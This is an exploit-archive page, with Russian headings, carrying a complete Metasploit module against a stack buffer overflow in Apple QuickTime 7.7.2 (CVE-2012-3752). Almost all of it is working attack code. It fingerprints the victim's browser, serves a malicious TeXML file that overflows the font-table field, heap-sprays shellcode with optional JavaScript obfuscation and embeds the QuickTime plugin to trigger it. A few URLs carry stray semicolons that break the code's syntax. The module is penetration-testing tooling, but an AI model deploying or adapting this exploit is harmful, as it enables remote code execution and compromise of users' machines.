Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow Exploit

Свойства

Дата публикации:
23.11.2012
Цель:
Apple QuickTime 7.7.2
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :os_name    => OperatingSystems::WINDOWS,
        :javascript => true,
        :rank       => NormalRanking
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability found in Apple QuickTime. When handling
                a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
                gain arbitrary code execution under the context of the user.  This is due to the
                QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
                font-table field, which is used to trigger the overflow in this module. Because of
                QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
                used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
                has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
            },
            'Author'         =>
                [
                    'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
                    'juan vazquez' # Metasploit Module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'OSVDB', '87087' ],
                    [ 'CVE', '2012-3752' ],
                    [ 'BID', '56557' ],
                    [ 'URL', 'http://support.apple.com/kb/HT5581'; ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Payload'        =>
                {
                    'Space' => 1000,
                },
            'Platform' => 'win',

            'Targets'  =>
                [
                    # Tested with QuickTime 7.7.2
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3', {} ],
                    [ 'Firefox 3.5 on Windows XP SP3', {} ],
                    [ 'Firefox 3.5.1 on Windows XP SP3', {} ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Nov 07 2012',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
            ], self.class)
    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'

        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

        browser_name = ""
        if agent =~ /MSIE/
            browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''
            browser_name = "IE #{browser_version}"
        elsif agent =~ /Firefox\/3.5$/
            browser_name = "Firefox 3.5 "
        elsif agent =~ /Firefox\/3.5.1$/
            browser_name = "Firefox 3.5.1"
        elsif agent =~ /Opera\/9/
            browser_name = "Opera"
        end

        case nt
            when '5.1'
                os_name = 'Windows XP SP3'
            when '6.0'
                os_name = 'Windows Vista'
            when '6.1'
                os_name = 'Windows 7'
        end

        targets.each do |t|
            if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
                print_status("Target selected as: #{t.name}")
                return t
            end
        end

        return nil
    end


    def on_request_uri(client, request)

        return if ((p = regenerate_payload(client)) == nil)

        agent = request.headers['User-Agent']
        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end

        if request.uri =~ /\.3gp/
            print_status("Sending exploit TEXML (target: #{my_target.name})")

            my_payload = "1" * (1024*16)

            texml = <<-eos
<?xml version="1.0"?>
<?quicktime type="application/x-quicktime-texml"?>

<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
    language="eng" timeScale="600"
    transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
    <sample duration="2400" keyframe="true">

        <description format="tx3g" displayFlags="ScrollIn"
            horizontalJustification="Left"
            verticalJustification="Top"
            backgroundColor="0%, 0%, 0%, 100%">

            <defaultTextBox x="0" y="0" width="176"  height="60"/>
            <fontTable>
                <font id="1" name="Times"/>
            </fontTable>

            <sharedStyles>
            <style id="1">
                {font-table: #{my_payload}}
                {font-style:normal}
                {font-weight: normal}
                {font-size:  10}
                {line-height: 100%}
                {text-align: right}
                {text-decoration: underline}
                {color: 100%, 100%, 100%, 100%}
                {backgroundcolor: 100%, 100%, 100%, 100%}
            </style>
            </sharedStyles>
        </description>

        <sampleData scrollDelay="200"
            highlightColor="25%, 45%, 65%, 100%"
            targetEncoding="utf8">

            <textBox x="10" y="10" width="156"  height="40"/>
                <text styleID="1">What you need... Metasploit!</text>
                <highlight startMarker="1" endMarker="2"/>
                <blink startMarker="3" endMarker="4"/>
        </sampleData>
    </sample>
</text3GTrack>
            eos

            send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })

        else
            print_status("Sending initial HTML")

            url =  ((datastore['SSL']) ? "https://"; : "http://";)
            url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
            url << ":" + datastore['SRVPORT'].to_s
            url << get_resource

            fname = rand_text_alphanumeric(4)

            #ARCH used by the victim machine
            arch = Rex::Arch.endian(my_target.arch)
            nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
            code = Rex::Text.to_unescape(payload.encoded, arch)

            # Spray puts payload on 0x31313131
            if my_target.name =~ /IE/
                spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{code}");
var nops = unescape("#{nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, 0x800 - code.length);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var i=0; i < 1600; i++) {
    heap_obj.alloc(block);
}
                JS

                #Use heaplib
                js_spray = heaplib(spray)

                #obfuscate on demand
                if datastore['OBFUSCATE']
                    js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
                    js_spray.obfuscate
                end
            else
                js_spray = <<-JS
var shellcode = unescape("#{code}");
var bigblock = unescape("#{nops}");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
                JS
            end

            content =  "<html>"
            content << <<-JSPRAY
<head>
<script>
#{js_spray}
</script>
</head>
            JSPRAY
            content << "<body>"

            content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab";>
<PARAM name="SRC"        VALUE = "#{url}/#{fname}.3gp">
<PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.3gp">
<PARAM name="AUTOPLAY"   VALUE = "true"               >
<PARAM name="TYPE"       VALUE = "video/quicktime"    >
<PARAM name="TARGET"     VALUE = "myself"             >
<EMBED
    SRC        = "#{url}/#{fname}.3gp"
    QTSRC      = "#{url}/#{fname}.3gp"
    TARGET     = "myself"
    WIDTH      = "1"
    HEIGHT     = "1"
    AUTOPLAY   = "true"
    PLUGIN     = "quicktimeplugin"
    TYPE       = "video/quicktime"
    CACHE      = "false"
    PLUGINSPAGE= "http://www.apple.com/quicktime/download/"; >
</EMBED>
</OBJECT>
                ENDEMBED

            content << "</body></html>"

            send_response(client, content, { 'Content-Type' => "text/html" })
        end
    end

end


=begin
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)

int __fastcall sub_67EED2B0(int a1, int a2)
{
  int result; // eax@1
  unsigned __int8 v3; // cl@2

  for ( result = 0; ; ++result )
  {
    v3 = *(_BYTE *)a2++ - 0x30;
    if ( v3 > 9u )
      break;
  }
  return result;
}
=end
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